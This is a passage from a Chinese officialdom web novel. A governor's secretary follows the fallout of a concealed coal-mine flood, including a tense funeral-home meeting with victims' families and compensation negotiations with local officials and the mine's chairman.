可事情已经发生了两天,省里却没有接到任何的汇报,这代表下面有人瞒报呀。 “我现在就跟省长汇报情况。”李承严肃的说。 事关重大,容不得半点拖延和马虎。 挂断电话后,李承并没有第一时间冲进省长办公室。 这件事还没有得到证实,如果贸然闯进去,结果调查发现是假新闻,那就是李承的失职。 所以,在此之前他需要跟滨西市确认。 李承的电话直接打到了滨西市长冯坤那里。 “喂,冯市长,我是省政府孟省长的秘书,李承。”电话接通,李承自报身份。 “李秘书,你好。” 听到李承的声音,对方语气有些阴沉。 “我接到举报,说是滨西煤矿发生重大事故,可有此事?”李承开门见山的追问。 “有。” 已经被问到头上了,这时候,冯坤就算吃了熊心豹子胆,他也不敢隐瞒。 “死亡人数具体是多少?”李承严肃的问。 他最关系的问题,就是死亡人数,而妇女那里,并没有确切数据。 对于事故划分是很明确的。 三人及以下死亡属于一般事故,区县级问责。 四到十人那就是较大事故,市级问责,矿长,主管局长等人,就要被撤职。 十一人到三十人就是重大事故,省级督办,地方分管领导都要被追责。 而三十人以上,那就是特别重大的事故,中央介入,省级领导都要担责任。 如果死亡人数在三十人之上,孟良德作为省长,他要承担一定责任。 他又处于政治斗争的风波之中,一个不慎,就会被政敌找到空隙,对他进行反击。 “目前是十九人死亡,三人还在抢救中。”冯坤沉声汇报。 “嗯,我知道了。” 李承点头,也没时间跟他继续废话,便准备挂断电话。 “李秘书,这件事是吴刚一直压着,不让向省里做出汇报,而且,矿难期间我不在本市,我也是今天上午才知道的情况。” 冯坤跟李承解释,想要撇掉一些他的责任。 “我会跟孟省长汇报,先挂了。” 李承说完,挂断了电话。 事情紧急,他也没那么多耐心去听这些推责。 死了这么多人,就算冯坤有千万种理由,也逃不过被追责的结果。 最主要的问题,是知情不报。 冯坤是市长,他是安全生产的第一责任人,负主责,他的处分不会轻,就算不撤职,也会降级。 未来一定会离开权利核心。 “发生什么事情了?这么严肃。” 进入省长办公室,孟良德看到李承一脸严肃,问。 “省长,滨西煤矿出事了,我刚才接到群众举报,昨天上午煤矿透水,发生了重大事故。 我刚才也跟滨西的冯市长通过电话,确认此事的真实性,死亡人数目前是十九人!” 李承简单快速的将事情汇报给了孟良德。 “发生这么大的事情,他们居然敢知情不报!” ‘砰’ 孟良德大手拍在桌面上,怒道。 面对他的愤怒,李承站在一旁,不吭一声,等待孟良德情绪稳定后的工作安排。 孟良德点燃了一根香烟,吸了两口后,看了一眼时间:“通知下去,一个小时后,召开省政府常务会,省应急厅,公安厅,煤监局,生态环境厅都要到场。” “是,省长。”李承点头。 “去吧。” 孟良德弹了弹烟灰,拿起了他办公桌上的红线电话。 ..... 一个小时后。 省政府常务会在会议室召开。 这种会议,李承是需要参与的,他坐在孟良德的后方,做会议记录。 “滨西市,发生煤矿透水的重大事故,你们知情吗?”孟良德目光环视一圈,问。 正常来讲,出现了重大事故,市里需要跟应急厅,或者主管副省长等人率先做出汇报。 可这些人,无一例外,都纷纷摇头。 “滨西煤矿发生重大事故,死亡人数高达十九人,滨西领导班子知情瞒报,性质极其恶劣。 我刚才也跟洪波书记通过电话,今天召开这个会,主要就讲三件事,第一,严查到底。 由省政府牵头,成立专案调查小组,纪委监委,公安,应急,煤监,生态环境全程介入。 不管涉及谁,不管他的官有多大,有人说情,只要沾了瞒报,包庇,和利益输送的边,一律严肃处理,绝不姑息!” 孟良德对于这件事的发生,是真的愤怒了。 他也为之感到后怕。 如果死亡人数超过了三十人,如果这件事省里在不知情的情况下,中央先知道了,那么,他这个省长的责任可就大了。 那他就是严重的失职。 所以,即使知情一个小时,他在这场会议中,情绪任然是愤怒的。 “第二,要妥善处理这件事,卫健,民政,财政部门配合,必须要给所有遇难者家属一个满意的结果。” “第三,从及天气,全省所有的煤矿产业进行整顿调查,拉完屎排查安全隐患,决不能让滨西煤矿的悲剧再度重演!” “还有,舆论方面,一定要做好妥善的处理,决不能让煤矿的消息脱节,在此事上,对于那些自媒体平台,要进行管制,不可让舆论扩大。” 第161章 心理阴影 在省政府做完全部的工作部署。 省委又紧急召开了一场常委会议,对于此事进行了再一次的商谈。 会议结束,孟良德亲自赶往滨西市指挥工作。 ‘铃铃铃...’ 高速上,孟良德的手机响了起来。 “喂。” 接听电话,孟良德声音软了下来。 “这件事情下级有瞒报情况,我已经第一时间部署好了工作,正在赶往滨西市的路上....我知道....嗯...你帮我转达领导,我这件事情我已经会妥善处理好....明白,明白。” 电话那边的内容李承听不见,但从孟良德全程的态度来分析。 这通电话来自京城。 挂断电话后,孟良德的表情更加严肃了几分。 往常在车内闭目养神冥想的动作也不见了,他看着窗外,不知道在思索什么。 李承也不敢多问。 到达滨西煤矿,已经是晚上七点了。 他们的车队到达时,市委书记吴刚,市长冯坤都已经等待在了门口。 “孟省长。” 看到孟良德下车,他们一个个像犯错的孩子,表情都很拘谨。 “蒋元呢?” 孟良德下车后,目光环视一圈,并没有看到滨西矿业的董事长蒋元,他出声询问。 “蒋元已经被控制起来了,他是这件事的主要责任人,发生这么严重的矿难,据我们调查,其中可能存在一些违规操作。” 市委书记吴刚走上前几步,进行汇报。 “这件事的主要责任人不止是他,你们也逃不过。” 孟良德根本没有给对方面子,十分严肃地进行批评和质问:“为什么瞒报?” “瞒报人是蒋元,我们也是今天早上才收到了消息,我和冯市长第一时间组织了救援。 刚准备跟省里汇报时,没想到孟省长您提前得知了消息。”吴刚撇清责任,说。 “是呀孟省长,我们实在没想到蒋元居然有这么大的胆子,发生了如此重大事故,居然敢瞒报。” 冯坤也在一旁附和。 上次来,两个人给李承一种不合的感觉。 但这次,两个人却似乎站在了统一立场上。 毕竟,相比于权力的斗争,能够保住权力才是第一位。 “他瞒报?死了这么多人,厂子里这么多双眼睛,他想瞒报能瞒得住吗? 到这个时候了,你们还在想着推卸责任,而不是解决问题,这就是你们的态度吗?” 孟良德怒火中烧,对着他们一顿训斥。 对此,两个人却不敢有任何的反驳。 接下来,孟良德走进矿区,里面的工作人员已经全部被散了,空无一人。 孟良德亲自前往了遇难的矿井,去查勘现场。 救援人员还在那里进行救援。 “省长,小心。” 现在还是冬季,因为透水也救援,矿井边上已经结了一层薄冰,路面十分滑。 孟良德差点一个不慎摔倒,好在李承及时地搀扶住。 “还有多少人没有被救出来?”孟良德严肃地问。 在他问话的时候,李承也走到矿井边上,看了一眼里面的情况。 即使是黑夜,矿井内,已经能够看到一层反光的水。 这证明,积水很深。 在这个矿井下,水漫到这个高度,没救援上来的人,基本也没有生还的可能性。 “还有一个人。”冯坤做出汇报。 听到只剩下一个人没有被救援上来,孟良德这才稍微安心。 情况虽然已经很坏了,至少,不会再坏了。 “事故的具体原因是什么?”孟良德问。 “主要是冬季用煤量高,订单激增,开采煤矿的量较大,为了赶工期,对于探放水不到位。 没有查清含水层,就挖穿了积水区。” 冯坤将这次事故的情况,做出了简单的汇报。 对于采矿而言,这种疏忽是最不该的,也是最致命的。 如果是因为冬季原因,冻住了排水管道,导致积水,这种情况下,矿工们还有撤离和逃生的时间。 就算是连带地表冻融的渗水,导致透水速度加快,也不会造成太大的人员伤亡。 最怕的情况,就是为了赶工期,先掘后探水。 挖出了积水区,积水瞬间涌入整个矿井,加上温度的寒冷,冻水刺骨,被困人员要么被淹死,要么被冻死。 自主逃生将是一件非常难的事情。 “滨西矿业发展这么多年了,这种错误还能犯,这就是你们市委市政府的责任!” 孟良德愤怒地看着吴刚和冯坤,训斥道。 “我们也没想到蒋元会有这么大的胆子,年前的时候,我还特意跟蒋元强调过安全生产。”冯坤道。 “我不想听你这些狡辩,对于这次事故,我会查清楚,但你们都逃脱不了责任。” 孟良德丢下这句话,转身朝着外面走去。 他还要亲自去一趟殡仪馆,去看望那些遇难者的家属,进行安抚工作。 那十九人当场被确定了死亡,医院并不收治,直接转移到了殡仪馆。 抵达殡仪馆,走进那个大厅时,李承被眼前的一幕震慑住了,准确的说,是被吓住了。 他从来没有见过这种场面。 以至于让他背脊都忍不住地发凉。 在一个单独的空旷大厅里,十几具尸体就躺在那里,甚至没有盖上白布。 一张张雪白,而面无表情的脸,让李承见到一眼,双腿都不自觉的发软。 在他们身边,是几十个人是房间各个地方,或站或坐,有人在低声哭泣,有人默默无语。 见到这种场景时,李承感觉自己浑身汗毛都树立了起来。 大脑一阵炸响。 他强装镇定,转过身,将孟良德准备进入的身体挡住:“老板,我们先不要进去了。” 正常情况下,李承是需要走到孟良德身后的,但特殊地方,特殊处理。 李承就怕这种情况发生,而那些负责安保的人员,并不会太过于留意细节,从而给省长造成不好的心里影响,所以才主动先走一步。 结果也不出李承所料,先他们几步负责安保的人员,并没有阻拦他们。 因为他们本职工作是保证安全,尸体并不会给省长造成人身危险。 可他们的不阻拦,还有李承的细心举动,却给他自己造成了很大的心理阴影! 第162章 安抚民情 “嗯。” 孟良德看出李承心有余悸,甚至是溢于言表的惊慌模样,点了点头,并没有进入。 这不怪李承没有城府,主要里面那种场面,换做任何一个人进入,哪怕是有心理准备都会被吓到。 更何况,李承还没有心理准备。 他没有失声大叫,爆一句粗口,已经算得上克制了。 那么多具尸体,摆在那里,换做是心脏不好的人,可能都要被吓犯病。 “我...” 孟良德在李承的阻拦下转过身,市长冯坤却忍不住看一眼里面什么情况。 当他目光看过去时,被吓了一跳。 要不是孟良德在,他一定会爆口粗。 “吴书记,冯市长,您们来了。” 这时,一个西装革履的男人,匆匆忙忙的跑了过来,跟吴刚和冯坤打招呼。 “省长,这位是市殡仪馆的负责人,曲同贵。”吴刚给孟良德介绍。 “孟省长,您好。” 曲同贵听说是省长驾到,惊慌失措地问好。 “嗯。” 对此,孟良德只是用鼻音应了一声。 他的心情很不好,压根也不想多理睬这种小角色。 “里面什么情况?” 冯坤心有余悸地扫了一眼小厅的方向,低声问曲同贵:“怎么不送去冷藏柜?” “不是我们不想,是这些家属不同意,说就要摆在这里,等市里和省里的领导来看,给他们一个说法。 我们也劝过,根本没用,这些家属的情绪很不稳定。”曲同贵苦着脸,解释道。 “孟省长,要不今天先回去吧,明天安排他们到市政府见面。”冯坤说。 里面的家属,把这些尸体聚集在这里,就是带有闹事的架势。 他担心群众过于激动,造成什么意外情况出现。 “就在这里见!” 孟良德深吸一口气,蹙眉说。 在殡仪馆会见家属,和在市政府会见家属,完全不同。 在市政府见他们,就会给那些遇难者家属一种省长高高在上的错觉,不亲民,这样。 但在殡仪馆见面,却可以体现他的体贴民情,让受害者家属们感受都政府的重视,更容易安抚民心。 “外面好像是市里的领导来了,我看刚才有警察进来。”这时,小厅里传出骚动。 “让他们进来,我们的亲人遇难了,他们却连这个门都不敢进,什么东西!” “对,大家一起去,让你们进来给我们一个交代!” 里面的家属们,一个个群情激奋起来。 亲人的遗体就在这里,换做任何人,都会激动。 孟良德深吸一口气,转过身,准备迈步进入小厅。 “老板,里面情况复杂,你要做好心理准备。”李承在旁边低声提醒。 “嗯。” 孟良德点了点头,里面的情况,他已经预想到了。 孟良德都朝着里面走了,其余人尽管心中再不想进去,也不得不进。 即便有了一次心理准备,当李承迈进小厅,还是忍不住地回避开目光,不敢去看。 “他们进来了。” “必须给个说法,矿上违规开采,害死了这么多人,你们这些当领导的都有责任!” “老皮呀,你怎么说走就走了,抛下我们娘俩可怎么活啊...呜呜....” “.....” 见到领导到来,里面吵闹声,哭泣声,叫嚷声此起彼伏。 给本就压抑的场景,增添了一份更为凄凉的色彩。 “如果再见不能红着眼,是否还能红着脸,就像那年匆促,刻下永远一起那样美丽的谣言....” 这时,一道手机铃声响起。 伴随着匆匆那年的歌曲旋律,更是给这份凄厉又平添几分悲哀。 李承将目光看去,是身后市政府的一个工作人员。 他焦急地关闭手机声音,退出了这间大厅。 “大家安静,省政府的孟省长亲自过来慰问大家,给大家解决情况,都安静一下。” 冯坤上前一步,壮着胆子,向群众们讲述情况。 “省长来得正好,这件事必须给我们一个说法,死了这么多人,如果不能让我们满意,我们就去京城去闹,去告状!” 其中一个皮肤黝黑,年纪二十多岁的小伙子,叫嚷起来。 听到这话,李承眉头皱得更深。 现在这些年轻人,受到了互联网的洗礼,也懂得了一些威胁之术。 确实。 面临这种重大灾情,无论是市领导,还是省领导,都怕闹到京城去。 如果他们去京城上访,对孟良德的影响很大,即便他不会遭受什么处分,但对于他的政治生涯是一种抹黑。 “你这个小伙子,怎么....” 听到对方要去京城上访,冯坤准备出言制止一番,但态度有些差,是带有情绪的。 没等冯坤说完,孟良德打断了他:“我非常能理解大家痛失亲人的心情,我代表省政府,也代表我个人,向遇难者和你们这些家属鞠上一躬,抱歉!” 说完,孟良德直接朝着这群人鞠了一躬。 省长如此放低姿态,这群人的态度和脸色也好转了一些。 “关于滨西矿业的违规操作,省政府已经成立的专案调查小组,会严查此事。 我知道,这些遇难者是每一个家庭的顶梁柱,大家最关心的,也是政府和滨西矿业的补偿问题。 我这次过来,就是来为你们解决问题的。”孟良德开门见山,态度诚恳地说:“大家有什么需求,可以尽管提。 只要在政府的承受范围之内,我们会尽全力满足大家。” 以李承对孟良德的了解,正常情况下,面对这种民情问题,他一定会说很多话,逐步去缓和关系,再谈赔偿。 但这次,他明显是加快了沟通的进度。 想来,即使是一省之长,在面对这里的环境时,也会感到深深的不适。 “我们要赔偿,每人五百万,少一分都不好使,少了这个数,我们也不用谈,咱们就去京城见!” 皮肤黝黑的小伙子,嚷着的同时,还煽动大家:“我们亲人的命,可不是五百万就能换来的,要五百万都是便宜你们了,是不是呀大家!” “是!” “五百万,一分钱都不能少!” 第163章 狮子大开口 每人赔偿五百万。 这个金额远远超过了政府承受的限度。 法定赔偿款,加各项补助和抚恤金,每人赔偿金额在一百万左右。 对于如此重大事件,滨西矿业要补偿,省里也想要快速私了压下这件事,外加一些人道主义慰问金。 能拿出的最高诚意价,也不过二百万。 这其中,还要考虑一些隐性因素。 矿难不是第一次发生,以前也有过赔偿的先例,如果这次赔偿的额度过高,那么,之前遇难者的家属一定会闹事。 到时候,可能将问题更加扩大化。 “小伙子,你叫什么名字?” 孟良德看着那位皮肤黝黑的小伙子,问。 他并没有第一时间拒绝他,在这个形势下拒绝,是不理智的,哪怕政府肯定不能满足对方的高要求,也不能急于拒绝。 “我叫白邱赫。”男人说。 “你是遇难者的什么人?”孟良德问。 “这个老头,是我爸,我也是遇难者的家属,而且,我还是滨西矿业的矿工,要不是那天我请假了,现在躺着的尸体里,也有我!” 白邱赫指着一具尸体,道。 在面对孟良德时,并没有展现出半点卑微之色。 一副天不怕,地不怕的样子。 “我看这些家属们,都很愿意接受你的想法,你能代表他们的意见吗?”孟良德继续问。 他的目光一直盯着白邱赫,并没有挪向其他地方。 这么多遇难家属,一个个谈,耗时耗力,而且还很难解决问题。 想要妥善安抚下他们,就必须让这些人推举出来一个代表人出来。 “我代表不了任何人的意见,但我就看不惯你们这些领导对于我们这些底层人的生命不管不顾。” 白邱赫愤愤不平的道。 “小伙子,你这么说话就不对,孟省长如果不管不顾的话,也不可能大老远从汉江赶过来。”冯坤插话道。 “我不管这些,反正我们就要五百万,否则这件事没得谈。”白邱赫态度坚定地说。 “今天在这个地方,我们也谈不出什么结果来,这样,你们选一个人作为代表。 明天到市政府来跟谈,怎么样?” 冯坤再次开口,说。 他明白孟良德的意思,也知道,今天这种情况,如果继续谈下去只会是僵持,无法解决问题。 “我们就在这谈,不去其他地方,你们要是给不到五百万,也就不用在这里浪费时间,等我们处理好丧事就去京城!” 白邱赫油盐不进,一门心思就要以京城上访作为要挟。 “你这个小伙子怎么油盐不进呢,你们也都是矿上的老员工了,应该知道其他人的补偿款是多少。 你这不是漫天要价吗?”冯坤说。 这次事件的发生,他也知道是自己政治生涯的一大困境。 所以,他急于在孟良德面前表现,以此来换来领导好感。 “我还是那句话,少五百万,免谈!” 白邱赫点燃了一根香烟,语气十分严肃:“大家说是不是呀,少五百万这件事是不是不能算?” “对,一分不能少。” “五百万,没有五百万我们就去京城闹,反正我们家人都死了,还怕什么!” 在他的鼓动下,那些家属们再次骚动起来。 “大家稍安勿躁!” 孟良德听他们吵了一会儿后,双手虚压。 待到所有人都闭嘴后,他这才继续开口:“今晚过来,我是向大家表明一个态度,关于你们的遭遇,政府很重视。 政府也会全权安置和抚恤所有遇难者,至于赔偿款问题,确实有待商议。 这样,你们也商量一下,明天市政府会联系你们,也请你们到时候选出一位代表,具体商议赔偿问题。” 留下这句话,孟良德再次冲着他们深鞠一躬后,看向冯坤,低声交代:“你留下来继续做安抚工作。” “好的省长。” 这是一个烫手的山芋,但冯坤却非常乐意地接下来。 他知道,这是孟良德给他的一次表现机会。 只要珍惜住这次机会,到时候追责下来,孟良德稍微帮下他,他的问题严重性就能减轻不少。 出了殡仪馆的门,孟良德看了一眼时间,对市委书记吴刚说:“现在问题还没有彻底查清,先不要追责蒋元。 十点我要开一场会,把蒋元也叫过来。” 孟良德让蒋元来,并非不再追责。 而是要让蒋元来解决这件事。 滨西矿业虽为国营企业,可他作为董事长,执掌多年,对于企业内部情况,以及员工的情况最了解。 他又是这件事的主要负责人。 让他来解决此事,他已经会当做一次戴罪立功的机会,竭尽全力地将这件事处理好。 眼下,先安抚群众的情绪是头等大事。 等这些群众的情绪安抚好了,后续的调查和追责,那就是秋后算账的事儿了。 “孟省长,现在群众们都恨死蒋元了,如果这时候把他放出来,怕是影响不好。” 对于孟良德的吩咐,吴刚提出了不同的看法。 “眼下群众们最关心的是补偿问题,没人比蒋元更适合解决这件事。”孟良德道。 “可是....” “不用可是,按照我的吩咐去做。” 吴刚还想反驳,孟良德直接严肃地打断了他。 “好的孟省长。” 见孟良德态度严肃,吴刚也不好再多言,点头答应。 李承拉开车门,孟良德上了专车,一行人朝着招待宾馆的方向驶去。 “老板,我要不要联系一下打举报电话的大姐,试着让她跟这群家属们交涉一下?” 李承提议道。 刚才殡仪馆内的情况,李承都看在眼里。 这些家属们,显然已经被白邱赫给洗脑,认准了五百万的赔偿款。 这个时候,李承觉得找一些人,如果能劝说一下,说不定能起到好的效果。 毕竟,有了不同的声音,大家就会多想,能够从内部煽动他们的情绪,就会让他们的抱团,在内部瓦解。 “嗯,可以,五百万的补偿款太高了,这笔钱政府是不会拿的,先让他们身边人给做做思想工作,也是好事。” 第164章 危言耸听? 回到招待宾馆,饭菜已经准备好了。 但大家看完殡仪馆内的景象,也都没什么食欲可言,晚饭都吃不进去。 招待宾馆,是专门用来招待领导的。 这里,有专门的会议室。 距离晚上十点的会议还有一段时间,孟良德回到房间休息。 李承拿起电话,拨通给了那位大姐。 ‘嘟..嘟..嘟...’ “喂,大姐,这么晚给您打电话,打扰您休息了吧。”电话接通,李承语气和善地说。 “是李秘书呀,不打扰,不打扰,你有什么事情吗?” 这个时间,大姐已经睡觉了,但听到是省长秘书的电话,立马精神了起来。 虽说,她和李承关系并不熟悉。 可谁不想结识一位省长秘书的关系呢? 就算用不到这层关系,跟身边朋友聊天,也是吹嘘的本钱。 这是一份虚荣心。 听着虚无缥缈,可这就是人性。 “方便见一面吗?” 李承想了想,觉得这件事还是见面谈比较合适。 毕竟,电话里沟通,很多问题没办法讲述明白。 “方便。” “那您给我个地址,我去找您。”李承说。 “滨成区,矿山路和平安街之间,你到了给我打电话,我去接你。”大姐说。 “行,那我现在过来。” 李承答应后,挂断了电话。 距离十点开会,还有一个小时的时间。 这段时间里,李承怕自己未必能及时赶得过来,所以,他要去跟孟良德请示一下。 相比于记录会议内容,去见这位大姐,更为重要。 时间很紧迫,明天这些人就要推举出来一个代表人跟政府谈判,最好的时间段,就是在今晚对他们内部先进行一次劝说。 给这群受害者心里提前打好基础,等明天谈判时,再严肃拒绝对方代表的无理要求,大概率,就会能让大部分人打退堂鼓。 选择按照政府提出的赔偿机会私了。 ‘咚咚咚...’ “谁?” 李承敲响房门后,里面传来孟良德的询问。 “老板,是我。” ‘咯吱’ 听到李承的声音,房门从里面打开了。 “怎么了?”孟良德问。 “我刚才跟那位大姐通了一个电话,但在电话中说不清这些事,我想着去见她一面。” 李承将情况,汇报给了孟良德。 孟良德看了一眼时间后,说:“现在去吧,太晚耽搁人家休息。” 晚上的会议,主要围绕补偿金额召开,李承晚一会儿,并不什么影响。 “好的老板。”李承道。 “让王师傅送你。”孟良德说。 “好。” 汇报完情况,李承联系了王师傅。 王师傅开着省长专车,送李承来到了指定地址。 在即将到达时,李承给大姐打了一通电话,他们车刚停下没两分钟,大姐就走到了他们的视线中。 “姐。” 李承拉开车门,冲着大姐挥了挥手。 “李秘书。” 大姐快步朝着李承走来,李承也迎了上去。 “你爱人的问题,处理得还满意吗?”李承跟大姐握了一下手,关切地问。 刚见面,自然要客气两句,套套近乎。 “多亏孟省长出面,解决得很顺利,孟省长是说到做到,三天的时间,矿上就跟我们谈好了补偿,当天就赔了钱。” 大姐感激地说道。 他们四处去上访维权,却迟迟被拖延。 见到孟省长一面就解决了这件事,这让她心里也是对孟良德有所感激。 “处理的结果,您满意就行。”李承微笑道。 “咱别在这站这里,你到家里坐一会,李秘书,我给你沏好了茶。”大姐热情的邀请李承。 “不了,姐,我一会儿还要回去开会,这样,咱上车里谈。”李承说。 “哎呀,你们帮了我这么大的帮,都到家门口了,哪能不去坐坐...那行吧,我们去车上说。” 大姐客气一句,跟着李承上了专车。 “李秘书,我去买包烟,你们聊。” 王师傅不知道接下来李承和大姐要聊什么,但他本能地出于职责,选择了回避。 这是一种习惯,也是一种避嫌行为。 每次孟省长跟其他同志在车上谈话时,他也会回避。 谈话内容能不能听是一方面,就算能听,他也不会听。 万一走漏出去,会引领导猜疑。 “好。” 李承冲王师傅点了点头,待到他下了车后,李承也就直奔主题:“大姐,这次找你呢,是想让你帮个忙,也是帮那些遇难者的家属。” “李秘书,你说。” “是这样,今天孟省长去了殡仪馆,见到了那些家属,他们要的补偿款太高了,五百万,远远超过了政府和滨西矿业能够承受的赔偿价格。 你也知道,孟省长公务繁忙,他能在滨西市的时间并不多。 我们想在这个时间内,妥善处理好这件事,可这个价格,是绝对不可能答应的。 如果这么扯皮下去的话,等孟省长走了,对于那些遇难者家属也是一件坏事。 你经历过那种被一拖再拖的情况,应该明白,如果孟省长回了汉江,这些家属们可能遇到的问题。” 李承的谈话,是站在受害者的角度去谈。 听起来,有一些危言耸听的意思,但这种谈话方式,恰恰是一个突破口。 上次矿难,受害者家属被拖延,走投无路的事情,那些人都看在眼里,以此为筹码,才能让他们从心底产生妥协的情绪。 “五百万,他们真敢要呀,这不就是趁火打劫吗?” 听到五百万的数字,大姐破天荒地站在了政府的角度不满起来:“一定是白邱赫那个小畜生出的馊主意吧?” “对,就是他的意思,但这些家属们,都很听他的。”李承说。 听大姐的意思,应该是知道一些情况。 “这小子整天不学无术,就想着这些歪门邪道的东西,五百万,他用屁股心思也不可能赔呀。 李秘书,这事交在我身上,我明天一早就去找他们说说。” 大姐毫不犹豫地答应了下来。 “您一定要好好劝劝他们,千万别拖到孟省长离开滨西,不然的话,赔偿的问题可能还要延迟落实。” “嗯,我知道。” 第165章 赔偿问题 李承跟大姐的谈话异常顺利,赶回招待宾馆时,刚好赶上了十点会议。 参与这场会议的人,除了从汉江随同孟良德工作的人员外,还有滨西市委书记吴刚,市长冯坤,分管应急管理局副市长马达,以及滨西矿业董事长蒋元。 “冯坤同志,遇难者家属那边,安抚得怎么样?”孟良德看向冯坤,问。 “孟省长,家属那边态度很坚定,五百万的赔偿款,少一分钱都不行。”冯坤无奈地摇了摇头,回答道。 他急于将功赎过,在殡仪馆,他面对几十位家属的愤怒,以及十几具尸体的震慑,是强撑着胆子,苦口婆心地去劝。 可任由好话说尽,软硬兼施,得到了答复只有一个。 如果赔付低于每人五百万,那群家属就会选择集体去京城上访。 “你觉得,这件事怎么解决为好?”孟良德问。 “依我看,赔偿问题一时半会很难达成共识,可能需要拖延一段时间,等他们的锐气耗尽,内部也产生了怀疑,政府再去谈,更为合适。” 冯坤提出的意见,属于是惯用手段,也是最实用的手段。 论持久战,拖不起,等不及的人,是那群民众。 只要政府对此事放任不管,在谈妥之前,不给予任何的补偿,对于这些底层人来讲,安葬费都可能是难题。 到那个时候,这群人就会主动放低姿态,来跟政府和谈。 “拖延,难道要等他们闹到京城去?” 没等孟良德开口,这时,吴刚提出了反驳:“怕是没等拖垮他们,中央的质问电话就要打到孟省长这边来。” “只要我们对这些人进行定位跟踪,设卡拦截,及时劝返,他们是到不了京城的,这些年想去京城上访的人不在少数,这种案例也处理过很多。”冯坤说。 全国各地,每年想去省里,京城上访的人,不计其数。 但真正能到达地点的人,却少之甚少。 信访部门,公安部门,每年都会有一部分人员出公差,任务就是拦截这些去越级上访的群众。 冯坤所言也有底气。 在他看来,只要市里对这些人严加监视,他们别说去京城上访,就是走出滨西市都很难。 “你这种想法,就是治标不治本,不能彻底让这些群众心服,就算他们一时妥协,事后说不定还要去闹。 你能监管他们一时,还能监管他们一辈子?”吴刚继续反驳。 他对冯坤的不认可,其中是带着自己的偏见和目的。 冯坤今晚的殷勤表现,让他感受到了危机。 发生如此重大事故,是党政同责,市长虽是第一问责人,但如果冯坤能够让孟良德满意,孟良德在常委会议上随口的一句话,就可能调转矛头。 “他们也要生活,只要拿到了合理的补偿,他们不会一心想着去上访,我提出的是解决方式。 但主要解决的办法,还是以补偿款为重点。”冯坤寸步不让。 看着两个人的争论,孟良德静静地抽着烟,像一个旁观者。 “说到底,不还是补偿款的问题,五百万只是一个漫天要价的幌子,他们不可能一直咬着这个价不放。 只要补偿款到位,事情也就可以解决,你说的方式也就是莫须有的方式。”吴刚说。 “好了。” 听到吴刚的言论,有了刻意针对性,渐渐脱离事件主题时,孟良德敲了敲桌面,打断了两人的谈话。 “凡事都要做出最坏的打算,冯坤同志的提议,可以作为备选方案。” 孟良德肯定了冯坤的提议,这也相当于宣布了刚才冯坤和吴刚的辩论中,谁胜谁负。 “蒋元,你先把事情的具体经过,从头到尾,如实地讲述一遍,任何细节,无论是直接或间接导致此次事故发生的原因,都要讲清楚。” 孟良德看向蒋元,严肃地说。 之前,对于此次事故的原因,孟良德都是听市里领导班子讲的。 那些人的话,孟良德信,却也不全信。 毕竟,人都会为了撇清自己的责任,避重就轻。 听到孟良德的问话,蒋元的目光下意识看向了吴刚。 这一细节,不仅孟良德发现了,就连坐在他身后的李承,也看得一清二楚。 上一次孟良德来视察,李承就察觉蒋元与吴刚的关系暧昧。 大概率,两个人私底下,存在一些见不得光的问题。 但这只是李承的心里推测,官场讲的是实质性证据,要客观公正。 推测只能藏在心里,不能透露。 “额...孟省长,事情是这样的,冬季对于煤矿的需求量大......” 接下来,蒋元把事情的经过讲述了出来。 大致和市里领导汇报的情况相同,他也是将自己的责任推卸得一干二净。 说他虽然给手下员工下了增产的命令,却没有让他们违规操作,是手下人的擅作主张。 “孟省长,我插一句。” 听完蒋元的情况汇报后,煤监局的王奎生局长,看向孟良德。 “你说。” 得到孟良德的点头后,王奎生道:“蒋总,你一再推卸责任,说是下面人擅作主张。 可是,你在扩采的问题上,并没有得到煤监局的审批,甚至连安监站都饶过了,这件事,你怎么解释?” “这....” 面对王奎生的询问,蒋元吞吞吐吐,不知如何应答。 “奎生同志,你这有点跑题了,我们今天聊的是安顿问题。”这时,孟良德主动开口,替蒋元打了圆场。 孟良德此举,让王奎生和蒋元同时诧异了。 但李承很清楚自己老板是什么打算。 他是不想在这个时间节点追究。 如果追究下去,那么要查的问题就太多了,监管部门的不力,上层领导的腐败等等。 这些,是专案组要查的事情,确实是偏离的主题。 眼下,孟良德是要用蒋元这个人来安顿好遇难者的家属。 “蒋总,事情我了解过了,这些遇难者毕竟是你的员工,你觉得,这件事应该怎么处理?”孟良德问道。 “公司有应急资金,可以作为赔偿款。” 第166章 个人赔偿 “公司的应急资金,是公司的资产,要用到公司的经营上,如果作为过分满足的赔偿条件,不符合规定。” 孟良德点燃一根香烟,摇了摇头,道。 滨西煤矿是国有企业,企业对于这种重大事故的赔偿,是有一定特批资金的。 但这个数额,是有规定的。 每人五百万,十九人就是九千五百万,外加受伤者的赔偿,算在一起就要接近一个亿。 这个数字太庞大了,比规定的额度高出了三分之二。 绝不可以。 这是国有企业,不是他蒋元的私人企业,这笔钱不是他大手一挥,说赔就能赔偿的。 “孟省长,以我对这些工人的了解,一百五十万的赔偿,绝对可以让他们心满意足。 但考虑到现在他们的群情激奋,以及出现如此重大事故,我作为董事长,责任也是在所难免的。 所以,我个人愿意出资一千万,作为额外补偿,想来,他们一定会同意。” 蒋元思虑再三,给出了这样的答复。 这些年,他凭借滨西矿业董事长一职,确实贪了不少钱。 但是,一千万这个资金,并不会引起格外关注。 毕竟,他身为滨西矿业的董事长,年薪也是百万起步,这还不算上年底分红。 即使他不贪污腐败,拿出一千万,也是可以做到的。 “蒋总这个态度,就很端正嘛,呵呵呵。” 听到蒋元愿意自掏腰包,孟良德满意地笑了笑。 这次他叫蒋元过来,就是打算从蒋元的口袋里,掏出一部分钱来。 “只要能够解决这件事,几年白干我也认了,人嘛,总要为自己的失误买单。”蒋元说。 “但是一千万未必够呀,这群人的态度,我们今天可都有目共睹,但是政府方面,最高承受的赔偿限度,也就每人一百五十万。” 孟良德吸了一口烟,微微摇头,摆出一副无奈的架势。 听着孟良德的语气,李承不自觉地露出抹淡淡笑容。 他知道,孟良德是在向蒋元要钱,让蒋元兜底。 政府部门能给出的赔偿款有限,但至于蒋元愿意出多少补偿,就跟孟良德无关了。 孟良德要看到的结果,就是妥善解决这件事。 就算蒋元拿出一个亿作为额外补贴,孟良德也无所谓,这是蒋元的个人事情。 到时候,就算以前的遇难者觉得赔偿不公平,不满意,也找不到政府头上,要找蒋元个人。 对政治家来说,结果大于一切。 至于过程是什么样的,只要不违法违纪就行。 “孟省长,我愿意去跟这些遇难者家属去谈,如果谈到一百五十万之外,多出部分,我蒋元就算砸锅卖铁,也赔。” 蒋元咬了咬牙,似乎下定某种决心一样。 “嗯,既然蒋总如此有大局观,这件事就好办了,其他同志还有什么意见?” 